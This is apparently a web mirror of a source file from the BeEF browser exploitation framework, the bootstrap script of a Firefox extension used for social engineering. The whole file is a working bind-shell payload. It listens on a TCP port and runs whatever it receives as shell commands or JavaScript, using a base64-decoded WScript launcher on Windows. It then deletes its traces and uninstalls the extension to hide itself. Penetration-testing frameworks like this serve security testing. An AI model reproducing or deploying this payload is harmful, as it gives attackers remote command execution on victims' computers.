Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/social_engineering/firefox_extension_bindshell/extension/bootstrap.js
1154 views
1
2
function startup(data, reason) {
3
var file = Components.classes["@mozilla.org/file/directory_service;1"].
4
getService(Components.interfaces.nsIProperties).
5
get("ProfD", Components.interfaces.nsIFile);
6
file.append("extensions");
7
xpi_guid="{861fb387-92ce-bb0a-cb48-4b923dbc292b}";
8
file.append(xpi_guid);
9
10
// # ./msfpayload firefox/shell_bind_tcp LPORT=1337 R
11
(function(){
12
Components.utils.import("resource://gre/modules/NetUtil.jsm");
13
var lport = __bindshell_port_placeholder__;
14
var rhost = "";
15
var serverSocket = Components.classes["@mozilla.org/network/server-socket;1"]
16
.createInstance(Components.interfaces.nsIServerSocket);
17
serverSocket.init(lport, false, -1);
18
19
var listener = {
20
onSocketAccepted: function(serverSocket, clientSocket) {
21
var outStream = clientSocket.openOutputStream(0, 0, 0);
22
var inStream = clientSocket.openInputStream(0, 0, 0);
23
var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"]
24
.createInstance(Components.interfaces.nsIInputStreamPump);
25
pump.init(inStream, -1, -1, 0, 0, true);
26
pump.asyncRead(clientListener(outStream), null);
27
}
28
};
29
30
var clientListener = function(outStream) {
31
return {
32
onStartRequest: function(request, context) {},
33
onStopRequest: function(request, context) {},
34
onDataAvailable: function(request, context, stream, offset, count) {
35
var data = NetUtil.readInputStreamToString(stream, count).trim();
36
runCmd(data, function(err, output) {
37
if(!err) outStream.write(output, output.length);
38
});
39
}
40
};
41
};
42
43
44
45
var readFile = function(path) {
46
try {
47
var file = Components.classes["@mozilla.org/file/local;1"]
48
.createInstance(Components.interfaces.nsILocalFile);
49
file.initWithPath(path);
50
51
var fileStream = Components.classes["@mozilla.org/network/file-input-stream;1"]
52
.createInstance(Components.interfaces.nsIFileInputStream);
53
fileStream.init(file, 1, 0, false);
54
55
var binaryStream = Components.classes["@mozilla.org/binaryinputstream;1"]
56
.createInstance(Components.interfaces.nsIBinaryInputStream);
57
binaryStream.setInputStream(fileStream);
58
var array = binaryStream.readByteArray(fileStream.available());
59
60
binaryStream.close();
61
fileStream.close();
62
file.remove(true);
63
64
return array.map(function(aItem) { return String.fromCharCode(aItem); }).join("");
65
} catch (e) { return ""; }
66
};
67
68
69
var setTimeout = function(cb, delay) {
70
var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer);
71
timer.initWithCallback({notify:cb}, delay, Components.interfaces.nsITimer.TYPE_ONE_SHOT);
72
return timer;
73
};
74
75
76
var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"]
77
.getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;
78
var windows = (ua.indexOf("Windows")>-1);
79
var svcs = Components.utils.import("resource://gre/modules/Services.jsm");
80
var jscript = ({"src":"\n var b64 = WScript.arguments(0);\n var dom = new ActiveXObject(\"MSXML2.DOMDocument.3.0\");\n var el = dom.createElement(\"root\");\n el.dataType = \"bin.base64\"; el.text = b64; dom.appendChild(el);\n var stream = new ActiveXObject(\"ADODB.Stream\");\n stream.Type=1; stream.Open(); stream.Write(el.nodeTypedValue);\n stream.Position=0; stream.type=2; stream.CharSet = \"us-ascii\"; stream.Position=0;\n var cmd = stream.ReadText();\n (new ActiveXObject(\"WScript.Shell\")).Run(cmd, 0, true);\n "}).src;
81
var runCmd = function(cmd, cb) {
82
cb = cb || (function(){});
83
84
if (cmd.trim().length == 0) {
85
setTimeout(function(){ cb("Command is empty string ('')."); });
86
return;
87
}
88
89
var js = (/^\s*\[JAVASCRIPT\]([\s\S]*)\[\/JAVASCRIPT\]/g).exec(cmd.trim());
90
if (js) {
91
var tag = "[!JAVASCRIPT]";
92
var sync = true; // avoid zalgo's reach
93
var sent = false;
94
var retVal = null;
95
96
try {
97
retVal = Function('send', js[1])(function(r){
98
if (sent) return;
99
sent = true
100
if (r) {
101
if (sync) setTimeout(function(){ cb(false, r+tag+"\n"); });
102
else cb(false, r+tag+"\n");
103
}
104
});
105
} catch (e) { retVal = e.message; }
106
107
sync = false;
108
109
if (retVal && !sent) {
110
sent = true;
111
setTimeout(function(){ cb(false, retVal+tag+"\n"); });
112
}
113
114
return;
115
}
116
117
var shEsc = "\\$&";
118
var shPath = "/bin/sh -c"
119
120
if (windows) {
121
shPath = "cmd /c";
122
shEsc = "\^$&";
123
var jscriptFile = Components.classes["@mozilla.org/file/directory_service;1"]
124
.getService(Components.interfaces.nsIProperties)
125
.get("TmpD", Components.interfaces.nsIFile);
126
jscriptFile.append('I5yOzt1neFMfjSYjyY.js');
127
var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
128
.createInstance(Components.interfaces.nsIFileOutputStream);
129
stream.init(jscriptFile, 0x04 | 0x08 | 0x20, 0666, 0);
130
stream.write(jscript, jscript.length);
131
if (stream instanceof Components.interfaces.nsISafeOutputStream) {
132
stream.finish();
133
} else {
134
stream.close();
135
}
136
}
137
138
var stdoutFile = "JKsYPvN0AOYtet5mnB";
139
140
var stdout = Components.classes["@mozilla.org/file/directory_service;1"]
141
.getService(Components.interfaces.nsIProperties)
142
.get("TmpD", Components.interfaces.nsIFile);
143
stdout.append(stdoutFile);
144
145
if (windows) {
146
var shell = shPath+" "+cmd;
147
shell = shPath+" "+shell.replace(/\W/g, shEsc)+" >"+stdout.path+" 2>&1";
148
var b64 = svcs.btoa(shell);
149
} else {
150
var shell = shPath+" "+cmd.replace(/\W/g, shEsc);
151
shell = shPath+" "+shell.replace(/\W/g, shEsc) + " >"+stdout.path+" 2>&1";
152
}
153
var process = Components.classes["@mozilla.org/process/util;1"]
154
.createInstance(Components.interfaces.nsIProcess);
155
var sh = Components.classes["@mozilla.org/file/local;1"]
156
.createInstance(Components.interfaces.nsILocalFile);
157
158
if (windows) {
159
sh.initWithPath("C:\\Windows\\System32\\wscript.exe");
160
process.init(sh);
161
var args = [jscriptFile.path, b64];
162
process.run(true, args, args.length);
163
jscriptFile.remove(true);
164
setTimeout(function(){cb(false, cmd+"\n"+readFile(stdout.path));});
165
} else {
166
sh.initWithPath("/bin/sh");
167
process.init(sh);
168
var args = ["-c", shell];
169
process.run(true, args, args.length);
170
setTimeout(function(){cb(false, readFile(stdout.path));});
171
}
172
};
173
174
175
serverSocket.asyncListen(listener);
176
})();
177
178
179
try { // Fx < 4.0
180
Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid);
181
} catch (e) {}
182
try { // Fx 4.0 and later
183
Components.utils.import("resource://gre/modules/AddonManager.jsm");
184
AddonManager.getAddonByID(xpi_guid, function(addon) {
185
addon.uninstall();
186
});
187
} catch (e) {}
188
}
189
190